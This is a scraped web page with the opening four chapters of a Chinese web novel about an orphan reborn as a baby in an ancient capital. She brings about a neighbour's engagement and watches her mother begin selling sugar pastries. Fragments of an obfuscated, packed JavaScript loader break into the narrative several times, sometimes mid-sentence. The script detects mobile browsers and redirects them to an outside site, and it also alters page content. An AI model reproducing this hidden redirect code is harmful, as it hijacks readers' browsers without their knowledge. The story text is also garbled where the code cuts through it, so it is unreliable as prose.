《小红娘(美食)》 1. 第 1 章 第1章 万龙国,安盛元年,正月十五,破晓时分。 汴京城,西市常安巷。 婴儿啼哭声让小院满是欢喜。 “我家宝宝。”刚生产完的妇人温柔抱着孩子,眼神轻柔。 “宝宝真乖。” “妹妹可爱。” 妇人忍不住笑,刚出生的娃娃皱巴巴的,还在哭,哪里看出来乖跟可爱。 妇人刚要说话,便见怀里的娃娃不哭了,一双大眼睛滴溜溜地转。 是很乖。 也很可爱。 “宝宝,我是你娘。”妇人的怀抱温暖可亲,让处于呆愣中的苏茵有些不自在。 她这是在哪。 她不是救落水小孩的时候已经没了吗。 好多人说话,她根本听不懂。 眼前女人好温柔,香香软软的,是有人形容过,妈妈的味道。 苏茵眼皮忍不住轻轻合上,她好困呀。 能做一个有妈妈的梦,真好。 苏茵再次睁开眼,下意识想坐起来,努力了好几次都不行。 在其他人看来,小团子一样的宝宝小手小脚轻轻晃动,看的让人心里软软。 “宝宝饿了吗。”苏茵眼睁睁看着妇人把自己抱起来。 抱起来? 苏茵还没反应过来,就意识到自己被放到什么地方。 苏茵小脸直接爆红,让她吃奶吗,她不行的啊。 刚出生一天的小苏茵没有抵抗住饿意,闭上眼吃了这辈子第一顿“饭”,过了好一会心情才平复。 “宝宝的脸好红。”妇人对进门的丈夫温柔道,“少烧些炭火,宝宝好像有点热。” 男人点头,把身上的寒意去了些,坐到床上,抱着小小的娃娃,精壮的男人颇有些手足无措。 跟着进门的少年被妇人温柔拉着手,把长子也搂在怀里,一起看妹妹。 苏茵葡萄般的大眼睛好奇扫过这三个人。 苏茵听不懂他们说话,却能从他们眼神里看出来,他们都在看自己。 还是那种,让自己很害羞的眼神。 很陌生。 很喜欢。 苏茵下意识想捂住脸。 嫩嫩的小手根本使不上劲,只会咿呀咿呀的晃来晃去。 可爱的动作,让一家几口笑意更深。 他们家宝宝真可爱呀。 从小在孤儿院长大的苏茵,被这种善意温柔的笑意看的很不自在,整个人晕乎乎的,再次睡了过去。 婴儿睡睡醒醒的,都很正常。 苏茵记不清第几次吃奶,心底暗暗下决定,她一定要早点断奶! 是的,苏茵知道了自己的情况。 胎穿,从十八岁的现代生活,穿越到古代一户人家,成了一家四口中的一员。 意识到这一点,上辈子在孤儿院长大的苏茵有些迷茫。 爸爸妈妈哥哥。 都是她从未拥有过的。 苏茵忽闪着大眼睛,这几日都在观察一家人,只要没睡觉,眼睛不转一瞬地看着这辈子的家人。 妇人被看的心里软和,忍不住亲亲自家宝宝。 谁家宝宝这样乖。 不闹人,乖巧地看着她,饿了也不哭,最多小声哼唧。 邻居过来的时候,谁不夸自家宝宝。 苏茵突然被亲,小手被捏了捏,脸上又红了。 雇来帮忙的邻居刘婶子忍不住咋舌:“你家宝宝怎么那样乖,生的白白嫩嫩,眼睛大的像葡萄。” 她照顾过不少小孩,苏家这个小宝宝,是最可爱的。 “宝宝起名字了吗,可惜外面还是乱糟糟的,不然可以去普陀寺求个好名字。” 说到名字这事,妇人难得有些发愁。 孩子还没出生,他们一家就在想名字,怎么选都觉得不够好。 本想去西郊普陀寺求大师选名字,年前京城宫变,事情耽搁。 妇人本就是少言的,刘婶子自顾自叹气:“也不知道什么时候能恢复正常。” “我家闺女的婚事都给耽搁了。” “你家宝宝满月酒也不知道能不能办。” 普通百姓不懂什么宫变,妇人本身也不太明白,但她男人在兵马司当小卒,听到些准确消息。 妇人道:“快了,新皇稳住局面,贼人悉数被捕,说是再有半个月,便能开集市。” 能开集市,说明京城普通百姓的生活可以恢复正常。 刘婶子点点头,心里定了定,瞧见苏家宝宝大眼睛在她们身上打转,眼神带了笑:“你家宝宝好像能听懂我们说话一样。” 苏茵听不太懂,只能从她们的语气里听出情绪,偶尔有个音节似懂非懂,她在试图理解其中的意思! 刘婶子心生艳羡。 苏家当家的在西城兵马司做事,听说宫变过后,兼任兵马司下火禁司副指挥使职务,不日便要正式升迁。 从七品的职位,由小卒成了正式的军爷。 能做小卒,便是身富力强,身负军功。 当了军爷,更为不同。 苏家屋里的,又是出了名的贤孝,丈夫当兵数载,一个人照顾公婆,抚育长子,京城西郊村里有名气的好脾气。 就连他家长子,五岁在村里读私塾,去年七岁随着爹娘搬到京城西市继续研读,夫子讲苏家长子考秀才,是有望的。 如今生下个小宝宝,又是机灵可爱,见谁都是笑模样,别提多招人喜爱。 除了家里没什么钱之外,这家人的日子谁不羡慕。 晚上。 苏家人吃过饭,再次讨论起宝宝的名字。 “苏珍宝。” “苏珍珠。” “苏宝宝。” 苏茵眼睛带着疑惑。 在给她起名字吗。 可她听不懂啊。 小宝宝没有决定自己名字的机会哎。 三个名字被都被家人否决。 怎么起,都离不开宝贝两个字呢。 “要不然请私塾的夫子帮忙?”苏家长子苏显道。 八岁的苏家哥哥没什么表情,只是一直拉着妹妹的手,显露出喜爱。 两个小朋友手指拉着,苏家哥哥心里软乎乎的。 妹妹可真软啊。 他定然要起一个最好的名字,才能跟最好的妹妹相配。 母亲周慧女点头,夫子有学问,定然是好的。 父亲苏副使也同意,他们识字都不多,还是让有学问的人来取。 说着,苏爹爹开口:“一定要个好名字,宝宝出生那天,宫里乱子平了。” “我还做了火禁司副使,宝宝运气好。” 面无表情的苏爹爹一本正经说出这样的话,苏家哥哥还在点头。 按理说,副使这样的职位,只有达官贵人的子弟才能做。 但今年情况不同, 苏家娘亲忍不住又笑,不过也同意相公的话。 他们家宝宝运气最好了。 苏娘亲忍不住亲了亲宝宝小脸,苏哥哥也亲亲妹妹的小手,苏爹爹再亲亲女儿额头。 又是这样! 苏茵脸红得厉害。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060876|149243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 每天都要被亲亲! 这对苏茵来说,有些不适应。 上辈子的她,一出生便被放在孤儿院门口。 同样是正月十五,同样天冷的厉害。 包裹并不严实,她挣扎的小手年年长冻疮。 她自然没有婴儿时的记忆。 从记事起,她便是独立的,乖巧的,从来不让孤儿院老师们担心。 唯一一次被抱住,好像是志愿者阿姨们过来,给了她一个很轻的拥抱。 她手脚僵硬,很不自在。 就跟现在一样? 也不一样。 娘亲抱她好像更温暖。 小宝宝不能想太多,不多时又睡着了。 隐约听到爹娘还在说话,说什么她听不懂啊。 但是好像有个茵字。 “他从当兵的时候便跟着我,今年二十二,若有合适的姻缘,娘子帮忙看看。” 正月二十清早。 “婶子,我娘要回姥姥家一趟,走的匆忙,说让我帮忙照顾一日,她明日便回来。”邻居家姐姐腼腆得很,带了不好意思。 娘家有事肯定要回的,苏娘子不会介意,她月子里事不多,有人搭把手就行。 今日换了个人照顾苏茵,她并未不适应,反而在打量邻居家姐姐的发簪。 这真是古代啊。 好漂亮的簪子。 邻居家姐姐见她喜欢,把簪子取下来,用软布包裹尖尖的一头,用簪子上的小蝴蝶逗宝宝。 小宝宝本想控制自己的。 但她控制不住啊! 本能地伸出小手,去抓小蝴蝶! 婴儿的笑声让进门小卒们忍不住往里看了看。 他们巡查火禁到了附近,顺便来喝口水。 苏娘子早有准备,让大家喝了暖呼呼的姜糖水,又道:“昨日相公说的简练,你跟婶子细细说说,可有什么喜好什么要求。” 丁鹏正脸一红。 他哪有什么要求,当兵三四年,回京后运气好,才做了兵马司的小卒,有姑娘愿意嫁他,便是他的福分。 丁鹏正下意识扭头,正好看到屋里逗婴儿的女子,她脸上带着极温柔的笑,眼神清亮。 苏娘子顺着他的目光看过去,哎呀一声,再看看丁鹏正的表情,哪有不明白的。 想到邻居家刘婶子也在发愁闺女的婚事。 这,这不是正巧了吗。 傍晚从娘家回来的刘婶子被喊到苏家。 本以为自家闺女没照顾好苏家宝宝,没想到听到的,竟是天大的好消息。 让她发愁许久的事,终于有着落了! 虽说只是兵马司的小卒,那也是顶顶厉害,在军中绝对是个汉子。 嫁人不就看对方的能力吗。 刘婶子满意得很,却也要再听听自家闺女的想法。 第二天上午,满脸通红的刘姐姐抱着小宝宝,偷偷看了眼外面的儿郎。 要说如今民风不算保守,出门看也是可以的。 只是刘姐姐太过害怕,实在不好意思。 苏茵听不懂大家说话,却也能看出这是什么场面。 这是利用她这个小宝宝相亲啊! 隔着门能看出个什么。 苏茵眼睛一转,哇一声哭出声,小手挣扎着往外面。 被孩子哭声吸引的丁鹏正下意识看过来,跟刘姐姐四目相望。 苏娘子跟刘婶子捂嘴笑。 这婚事,成了。 苏娘子再看看忽然乖巧的宝宝,她好像知道宝宝要起什么名字了。 2. 第 2 章 第2章 “夫子说,茵字用于名字,既有纯净善良之意,也带了坚韧吉祥。” “以此为名字,必然福寿双全。” 苏娘子本想以姻缘为名,又觉得不妥,把自己的想法告诉长子,让他去问上一问。 夫子得知后,仔细选了茵字。 苏副使又拿着名字去了城外普陀寺,高僧点头称好,又说须要用重字,最为妥当。 苏茵茵。 纯净善良,坚韧吉祥,福寿双全。 这名字,怎么听怎么好。 苏家夫妇两个同时点头,他们都觉得这名字极好。 苏茵茵。 他家宝宝的名字终于定下了。 苏茵听到家人喊着茵茵,这两个字太过耳熟,虽说音节有些不同,可大致能听出意思。 是她的名字吗? 好巧,跟上辈子一样。 苏娘子轻声喊了:“茵茵。” 见宝宝大眼睛动了动,忍不住又喊了一遍。 苏副使看着欢喜,同样念了茵茵。 果然! 自家宝宝对这个名字有反应。 “小妹喜欢。”苏家哥哥道。 苏茵当然喜欢。 跟上辈子名字差不多。 不过苏茵,改为苏茵茵。 好像很不错哎。 小婴儿歪着脑袋,小手抓住娘亲的袖子。 “妹妹能听懂。” “咱们家茵茵最聪明了。” 苏娘子心里也是这般想的,笑着道:“茵茵还促成一段姻缘呢,这可是功德无量的事。” 这便提到邻居刘家女儿跟苏副使手下丁鹏正的婚事。 两家人都满意这桩姻缘,婚事大致定下。 只是外面风波未平,婚事要等一等,人生大事,不可仓促。 两家人说好,刘婶子不再着急,左右事情差不了,多留女儿自家几年更好。 再说,赶在前面的,还有苏茵茵的满月酒。 虽不能大操大办,请街坊四邻吃顿饭还是方便的。 刘婶子自告奋勇,一定要来帮忙,她特别感谢小茵茵呢。 苏茵茵只觉得时间过得飞快。 每日吃吃睡睡,竟然一个月了! 外面热热闹闹,苏茵茵吃了睡睡了吃,襁褓里塞了不少红包。 京中乱了那样久,此刻的满月酒,能散散喜气,苏副使顶头上司同样差人送来贺礼。 金丝缠线的拨浪鼓,又用红绳细细包裹,显得精致可爱,小宝宝伸手摸了摸,显然爱不释手。 上司家的仆从见此,乐得合不上眼。 这小宝宝本就招人喜爱,还更喜欢自家主子送的礼物,真是个好意头。 仆从掏了掏荷包,塞了几两银子:“做小的见面礼吧。” 机灵仆人回去禀报,特意把这事拿来讨喜,果然得了赏赐。 宁郡王并未当回事,眉宇间愁容未散,轻叹道:“宫里还是没有变化?” 手下禀告:“殿下依旧寡言。” 寡言。 那是寡言吗。 分明一个字都不说。 年前宫变,已然平息。 陛下英明决断,并未让乱臣贼子得逞。 唯独出了一个岔子。 陛下独子,三岁的太子殿下,年前十二月初被贼人掳走,扔到宫中密道当中。 宫中密道历经三朝修建,废弃,隐蔽,杂乱的岔道比比皆是。 陛下皇后翻遍密道,方寻到奄奄一息的太子殿下。 宁郡王眼前浮现正月十五那日的场景,不由得呼吸一滞。 “饮食呢。” 手下摇摇头。 宁郡王无奈。 不说话便算了。 还甚少饮食。 好在朝中安定下来,以后会越来越好的。 夜晚。 苏茵茵脖子上带着银质长命锁,手上带着银手镯,连脚上都有银镯子。 苏娘子笑眯眯道:“长命锁是你奶奶送的,她身体不好,不能过来。” “这是你小姨送的,今天抱着亲你的那个。” “还有这个,你舅舅送的。” 苏娘子手一顿,掠过一双粗制的鞋子,想了想还是拿起来:“这是你婶娘送的。” 苏茵茵小手乱晃,明显看出来这双小鞋子不对劲,不说用料如何,只说工艺便粗糙得很。 鞋子大小倒是合适,却又是夏日的款式,若正等夏日去穿,定然穿不上。 鞋子被放一边,还有不少礼钱,全都被苏家哥哥认真记下来。 “这以后,都是咱们家茵茵的嫁妆。”苏娘子笑着道。 苏副使,苏家哥哥苏显同时皱眉。 不想让女儿,妹妹嫁人。 虽然茵茵刚满月,他们已经不舍得了。 苏副使还好,心里暗暗下决心,好好当差,给女儿攒一副丰厚的嫁妆单子。 苏显则道:“妹妹以后要嫁最厉害的人。” 苏茵茵明显还听不懂,只会伸伸小手,跟爹娘哥哥玩手指游戏。 她现在可以控制自己的十只手指了!超厉害的! 如果能听懂,肯定会说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060877|149243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她刚满月! 刚满月呀。 苏茵茵紧紧握住哥哥手指,又轻轻松开,继续去抓爹爹的手指。 玩了一会,头埋在娘亲怀里。 她太幼稚了吧。 一家人忍不住笑。 他们家茵茵,是全天下最可爱的小孩。 苏茵茵小脑袋晃了晃。 好想知道爹娘哥哥在说什么呀。 她不能只玩手指游戏了,要快快长大才行! 苏娘子发现,自家女儿一日聪明过一日。 满月酒之后,似乎每天都在听他们说话,不仅如此,就连翻身都比别家小孩要快。 肉肉的小胳膊一用劲,就把自己翻过去了。 苏茵茵努力去抓旁边的拨浪鼓,一不留神,竟然翻了个身,她自己都愣住了。 哎? 这算不算多了一个技能? 她苏茵茵,会翻身了! 下一秒,小宝宝直接被抱起来,又被苏娘子亲了一口。 都说了,他们家茵茵是全天下最聪明的小孩! 苏茵茵傻眼了。 她翻个身而已。 娘亲不至于这样高兴吧。 等到爹爹哥哥回来的时候,两个人更是兴奋不已。 好像她不是翻了个身,而是完成什么壮举一般。 “茵茵真棒,会翻身了。” “妹妹好厉害呀,她才刚刚两个月吧,我听其他人说,别家小孩都是三四个月才学会。” 苏茵茵只能从家人语气里听出情绪,却也知道,所有人都在夸她。 为了,为了她会翻身吗。 这是再小不过的一件事吧。 上辈子甚少得到夸奖的苏茵茵整个人羞红了,努力把头埋在小被子里。 不行,这样会闷到的。 苏娘子刚想掀开小被褥,只见女儿小手抓住被子,努力再往下一拽。 苏娘子惊喜:“茵茵会玩躲猫猫了吗。” “好厉害。” “是在跟娘亲玩吗。” 苏副使,苏显立刻凑过来。 他们也要跟茵茵玩躲猫猫。 苏茵茵再次被家人围住,庆祝她又学会了一个厉害的本领。 小宝宝会躲猫猫哎,真的很棒呢。 会翻身,会躲猫猫,可以被这样夸奖吗。 苏茵茵头脑一热,小肉胳膊使使劲,再次把自己翻了过去。 看! 她会翻身啦! 她可以翻到小被子上,然后跟爹娘哥哥玩躲猫猫! 组合技!超厉害的! 3. 第 3 章 第3章 苏茵茵在一声声夸赞中“迷失”自我。 两个月会翻身,五个月坐起来,六个月吃米糊糊都格外认真。 纯粹的米糊香味让苏茵茵长舒口气。 太好了。 本宝宝吃奶的时间终于结束! 她期盼这一天很久了呢。 六个月的小娃娃乖巧坐在爹爹专门给她做的小凳子上,一口口吃着米糊糊,别提多乖巧。 直到苏茵茵拍拍自己的小肚子,表明她吃饱啦,苏娘子恋恋不舍放下碗碟。 都说给小孩喂饭很为难,她怎么一点也不觉得,反而很享受。 崽崽小手嫩嫩软软,在圆圆的肚子上碰碰,看得她心都要化了。 就算是大儿子苏显那会,都没这样省心。 苏茵茵又被抱在怀里,听娘亲夸她:“咱们家崽崽真厉害,吃饭也吃的很棒。” 苏茵茵再次脸红,现在的她,能听懂一部分日常对话,小声回了一句嗯嗯。 虽然还没有完整的音节,却也让苏娘子更高兴。 苏茵茵心道,因为我不想吃奶了啊。 要吃饭! 她都是一个大人了! 六个月了,知道她这六个月怎么过来的吗! 七月份的天气还有些热,苏娘子抱着苏崽崽去集市上买些瓜果蔬菜。 今日晚上有相公之前的同僚过来,须提前准备。 常安巷里四邻看到粉嫩嫩的小茵茵总要说一句:“你家崽真好带。” “是不是没听她哭过。” “总是笑眯眯的。” 小茵茵把头埋在娘亲肩膀上,耳朵还透着粉意。 别夸了啊! 她马上要“叛逆”了! 苏娘子听着众人夸赞,笑着回:“是啊,最乖了,我做事的时候,她从来都不闹。” “顶多哼唧两声。” “今日头一次吃米糊糊,还吃了两大勺呢。” 四邻一阵艳羡。 谁家不想生个这样的宝宝。 苏娘子去了熟悉的摊位,利落选了新鲜的瓜果,再去肉摊割些五花肉,想着家里细面不多,又去买粮油店。 苏娘子一手抱着孩子,一手提着篮子,苏茵茵偷偷拽着提篮,想替娘亲分担些。 六个月的宝宝没什么力气,她都使上吃奶的劲了。 最后去的,是西市最近时兴的糕点铺子,苏娘子想稍微买一些。 谁料刚到铺子,便见里面一个相貌俊俏的贵气孩童盯着她看。 准确说盯着她右手看。 苏娘子下意识看过去,才发现自家崽崽双手拽着提篮,帮她分担呢。 “宝宝累坏了吧。”苏娘子小声道,“娘亲拿得住。” 苏茵茵被劝了又劝,这才松手。 看来她还要再长大一些才行! 苏茵茵灵动的表情让那个贵气孩童多看了几眼,在她肉肉的小胳膊上停留几瞬。 三岁的小娃娃敛起神色,对身边人道:“难吃。” 难吃? 掌柜的脸都黑了。 他家糕点是西市生意最好的! 能难吃吗! 这句话让苏娘子迟疑了。 不过想着家里要来客人,她也想试试糕点的好坏,还是稍稍买了些。 苏娘子算着银钱,确定可以撑到月底。 苏茵茵也在偷偷算账。 她心算极强,对家里的财务状况一目了然,趴在娘亲肩膀松口气。 还好,家里的钱还够花。 按理说,作为西城兵马司下,十二个副使之一,他爹的月俸养一家四口够用的。 但奶奶身体不好,每月要吃药,哥哥私塾不算便宜。 再加上时常有来投奔的军中旧识。 一来二去,便要精打细算。 苏茵茵叹口气,眼睛还在糕点上。 那个三四岁的娃娃说的对,这糕点定然一般,油不好,起酥的时间不够完美,怎么会好吃嘛。 如果是她做的话,一定好吃百倍! 到时候她可以养家的! 苏茵茵小手指动了动,再次趴在娘亲肩膀。 好想长大哦。 长大第一步。 从不吃奶开始! 她苏茵茵,要从六个月开始,断奶! 说断奶就断奶。 原本饿了会哼唧几声的小茵茵,一直到下午也不吭声。 苏娘子喂了几次,都要宝宝躲过去。 原本苏娘子没察觉什么,做完七八个人的晚饭,她才意识到,宝宝怎么不吃奶了。 苏茵茵闭着嘴,坚决不吃。 她可以吃米糊糊的! 六个月了! 可以的! 但看着娘亲焦急的眼神,苏茵茵整个人往米糊糊的碗边挣扎,算是表明自己的意思。 米糊糊! 她要米糊糊! 她要“叛逆”了! 意识到这一点的苏娘子傻眼了。 谁家小宝断奶这样早的,哪家孩子断奶的时候不是哭得厉害。 这,这也太省心了吧。 她家宝宝,真的是人见人爱。 措不及防的小茵茵又被亲了一口,还听娘亲夸她:“宝宝好乖哦。” “真是世上最好的宝宝。” 啊? 这也会被夸吗。 被亲懵了的小宝宝眼睛直直看着娘亲,软乎乎的小脸稍微一亲带了红印,让人忍不住逗她。 饿了一天的小茵茵如愿吃上米糊,还得来一阵夸赞。 苏副使回来后更是骄傲得不行,一脸严肃地同旧友们炫耀自家宝宝有多可爱。 苏茵茵被大家抱了一圈,不哭不闹,见谁都笑,一众人羡慕得要命。 最后一个人有些不同,他年纪跟苏副使相仿,少了右臂,只能用左臂抱着,开口道:“我家闺女大一些,正是顽皮的时候。” 说到闺女,这人颇有些为难。 等到夜晚送走客人,小宝宝才知道独臂男人的来由。 “当年在西北作战,最后一站了,他被蛮人砍了右臂,人幸好活着。” 为了治伤,回来之后花了不少银钱。 朝中那几年军饷发的本就不及时,伤病让他倾家荡产。 如今一家子等吃饭,实在没办法,才求到当年军中旧友这里。 苏副使跟苏娘子说话,自然不会避着六个月的小宝宝,话也说的直白。 有些词句似懂非懂,大概意思是明白的。 苏茵茵认真算了算。 她来这里六个月,除了头三个月吃了睡睡了吃,也听不懂大家讲什么之外。 这好像是最近三个月里第七拨人了吧。 苏茵茵抓了抓钱袋,果然空了。 苏娘子道:“那也是没办法,今日二十二了,还有七八天你们就发月俸,咱们省着吃用,约莫是够的。” 苏副使认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060878|149243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定的旧友,品行上都没多大问题,他也知道今日来的人若非真的日子过不去,不会求上门。 那家再吃不上饭,只怕要卖儿卖女。 当年一起厮杀的兄弟,他绝不会做事不管。 他如今有了女儿,实在看不得这些。 只是娘子这边,要为难了。 苏副使又道:“我明日先去支取些米粮,够这个月的。” “再多当值几个大夜,把银钱补回来。” 苏娘子摇头:“夜晚太辛苦,咱们家存粮够的。” “我倒是有个想法。” 苏娘子有些犹豫,却道:“我做些糕饼,试着卖一卖,能贴补些家用。” 苏娘子做饭向来不错,糕饼也做的好吃。 今日买了点心铺的物件,便想试一试。 夫妻夜话,说的都是杂七杂八的事。 小宝宝听墙角听的困了,从奶奶那边要吃药,再到救济军中旧友,还有爹爹还是准备多值夜,娘亲这边想做些糕饼售卖,最后还有哥哥的笔墨纸砚,加上她的牛奶。 “茵茵一向不喜欢吃奶,更喜欢米糊倒是不意外。” “只怕孩子小,只吃米糊不行。” “我去寻些羊奶牛奶,回头给茵茵试试。那些大户人家的孩子,似乎都吃这些。” 原本犯困的苏茵茵猛然睁开眼。 娘亲知道她不喜欢吃奶。 爹爹要去给她买牛奶和羊奶。 苏茵茵傻眼了。 她是想快快长大,却不想拖累家里呀。 家里本就很难了。 羊奶牛奶,都很贵吧。 “卟卟。”小茵茵发出两个音节,听起来是婴儿嗯嗯哼哼。 这点声音也把爹娘吸引过来。 “我们吵到宝宝了吗。” “娘亲给你唱摇篮曲好不好。” 苏副使苏娘子不再夜聊,吹了灯专心哄宝宝睡觉。 夜色里,苏茵茵大眼睛亮得发光。 她好像给家里惹麻烦了。 家里的钱本就不多。 她还在添乱。 这怎么办。 第二天清早,终于陷入深眠的小茵茵眼角带着泪珠。 哥哥苏显上学前走过来,小声道:“妹妹怎么还在睡。” 平时这会已经醒了。 苏娘子端来两碗奶,一碗牛奶,一碗羊奶,都是苏副使大早上弄来的。 低温煮了之后,又加了少许的糖,分了两份,让哥哥尝尝。 “妹妹昨天睡得晚,你尝尝喜欢哪个,回头咱们每日买一些。” 苏娘子自然不会厚此薄彼,给哥哥同样准备一份。 哥哥摇头:“不要,给妹妹。” “都有的,乖。” 苏显再次推让,看得睡醒了的小茵茵更难过了,泪珠从眼角瞬间滑落。 苏茵茵眼泪不由自主掉下来。 她犯错了。 她真的在添乱。 这么好的家人,她为什么要添乱啊。 她不应该“叛逆”的。 宝宝的眼泪让苏娘子,哥哥,还有端着饭菜进来的苏副使都慌神了。 这是怎么了。 是不是做噩梦了。 “宝宝不哭,娘亲在呢,不要害怕。” “不怕,爹帮你打走坏人。” “妹妹不要怕,哥哥保护你。” 苏茵茵更想哭了,她真是个好坏好坏的宝宝啊。 4. 第 4 章 第4章 哭得晕晕乎乎的苏茵茵还是被喂了甜甜的牛奶。 其他时候,苏家夫妇惯着孩子,但吃饭这种事,还是让两个孩子“强行”听了他们的意见。 以后兄妹两个每天一碗牛奶,不能不喝。 苏茵茵眼里带着泪花,整晚没睡的她直接睡了整个上午。 看着宝宝睡得安稳,苏娘子洗手准备做糕饼。 昨日带回来的点心还有半块,名为清糖饼。 苏娘子细细尝了,虽说过了一夜,馅芯香甜,依旧可口。 只是表皮不够酥软,差些火候。 苏娘子放下心。 苏家有做点心的祖传手艺,可惜她嫁过来的时候婆婆身体不大好了,只教会她三种点心的做法。 清糖饼便是其中一样。 以前不得闲,如今在家做一些,既能带茵茵,还能卖出去补贴家用。 苏娘子把昨日买的精面取出来,又是舀了半勺糖,昨日熬的猪油,去年自己做的青红丝都准备好。 如果茵茵在这,肯定能看出来,娘亲准备做起酥类的甜饼。 手艺她熟悉。 当年在孤儿院的时候,社区政府组织过技能培训,其中就有烹饪这一项。 苏茵趁着暑假,白天做兼职,晚上去学做糕点的手艺。 技多不压身嘛,她没爸没妈,想要把日子过好,只能靠自己。 她还因为学得快,被社区老师送到附近蛋糕店打工。 那家店中西式点心都做,她勤快嘴甜,学了不少真本事。 甚至大学专业,报的都是食品专业。 可惜了,她没能上成大学就来了这里。 睡梦中的小茵茵虽觉得遗憾,却又在暗自庆幸,她来这里也挺好的。 在这里,她的爹娘很好很好。 小泪珠又在眼角,让中午从私塾回来的哥哥心疼坏了,偷偷给妹妹擦掉。 苏茵茵这一觉睡到下午,整个人晕乎乎的,还是被甜甜的糖饼味道吸引起来。 苏副使今日特意回来得早,见茵茵精神好多了,这才松口气。 早上那会,实在把他们都吓坏了。 只是苏茵茵醒来就看到热好的牛奶,瘪瘪嘴,差点又哭出来。 可她知道,自己闯的祸,已经没办法了。 要不然拒绝喝牛奶? 苏茵茵抬头看看爹娘哥哥,他们都眼带担忧。 “是不是牛奶不好,羊奶呢?” “听说皇家养了不少水牛,水牛奶似乎更好。”苏副使道,“回头我去求一下宁郡王,让他想想主意。” 别的事就罢了。 不吃饭真的不行。 此话自然不是故意说的。 苏家夫妇想不到自家六个月的宝宝能听懂啊。 苏茵茵忍住眼泪,就怕爹爹再去求人,把头使劲埋在瓷碗里。 对不起了。 真的对不起。 “妹妹吃了!”一向面无表情的哥哥苏显兴奋道。 “太好了。” “我这心终于放肚子里。”苏娘子长长舒口气,满心满眼都是心疼。 苏家气氛瞬间松快起来。 宝宝吃饭啦! 这是天大的好事! 如果允许的话,他们甚至想放鞭炮庆祝! “来尝尝清糖饼味道怎么样。”苏娘子笑起来,从厨房端来热乎乎的清糖饼。 糖饼被烙得两面金黄,内里是糖馅,一股香甜的味道扑面而来。 是清糖饼的香味! 苏茵茵眨着大眼,看出来这是由起酥面加上水油面做成的面坯,两种面擀在一起,最后在内里加上糖馅。 这样的清糖饼做出来皮层是酥软的,馅心还能化而不流,既不混酥,也不破皮。 两面金黄,外侧发白,模样极好。 娘亲的点心做得好好,比昨日去的那家点心铺子还要好! 苏副使,苏显对苏娘子做的点心赞不绝口,绝对是真心实意。 可惜苏茵茵年纪太小,否则她能吃个肚圆! “好吃?那明日我就开始卖清糖饼,你们说定价多少合适?”苏娘子是个温柔的性子,说起话温温和和,有些拿不定主意。 八岁的哥哥苏显道:“苏家的清糖饼之前五文钱一个,但如今各桩物件价格高,五文只怕不够成本。” “大伯他们店里,现在卖十二文一张饼。” 一家人仔细计算,精面,猪油,糖,再有其他原料。 核算下来,一张清糖饼成本为五文五分。 市面上的各种饼子价格不一,两文钱的杂面饼,到三十文的肉饼,各有各的市场。 苏茵茵认认真真听着,心道不愧是汴京,万龙国的都城,价格从低到高应有尽有,丰俭由人。 餐饮行业,毛利在百分之三十到七十。 成本在五文五分,清糖饼定价在八文到十六文,都是合理的范畴。 苏家夫妇,哥哥苏显,在纸上认真合算。 苏茵茵在心里默默算数,可惜她不会说话,不然肯定能帮忙解决麻烦,急的她都想张口了。 苏娘子最后道:“八文吧,能卖一点是一点。” 苏娘子头一次做买卖,颇有些不自信。 在苏茵茵看来,十六文都是可以的,谁让娘亲做的糖饼味道好,用料还扎实。 “这也可以。”苏副使道,“听上面说,物价马上会降下去,到时候还不用调糖饼的价格。” 苏副使还道:“今天提前支了些银钱,娘子你拿去用。” 苏爹爹把银钱全都拿给自家娘子,还道:“要不等我回来再去售卖也可,你跟茵茵在家,省得累着。” 苏娘子好笑:“等你当值回来,都要宵禁了。” 一家子要养,苏副使多接了当值的活,清早给儿女拿牛奶,晚上再去售卖糖饼,一天下来那可不是连轴转。 苏显还在跟妹妹玩手指游戏,蜡烛点燃,一家子在烛光下和和美美。 安盛元年,七月二十四。 清早起来的苏娘子收拾好家里,送走上学当差的苏副使,苏显,再次整理下竹篮。 竹篮里香甜的糖饼散发着诱人的香味。 喝过牛奶的苏茵茵被绑在苏娘子胸前。 要开始卖糖饼了! 二十张糖饼,能卖多少是多少。 头一日,她不敢准备太多。 苏娘子平日除了买菜不怎么出门,此刻颇有些忐忑。 但看着胸前软乎乎的宝宝,生出无限的勇气。 她要给宝宝每日喝牛奶,还要给宝宝买最好看的衣服,攒丰厚嫁妆。 必须走出去。 苏茵茵抬头,母亲无限温柔的眼神让她还是不自在,小手紧紧搂住娘亲脖子。 她会乖乖的,绝对不给娘亲添麻烦。 提着竹篮出去,苏娘子往西市上走,虽说早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 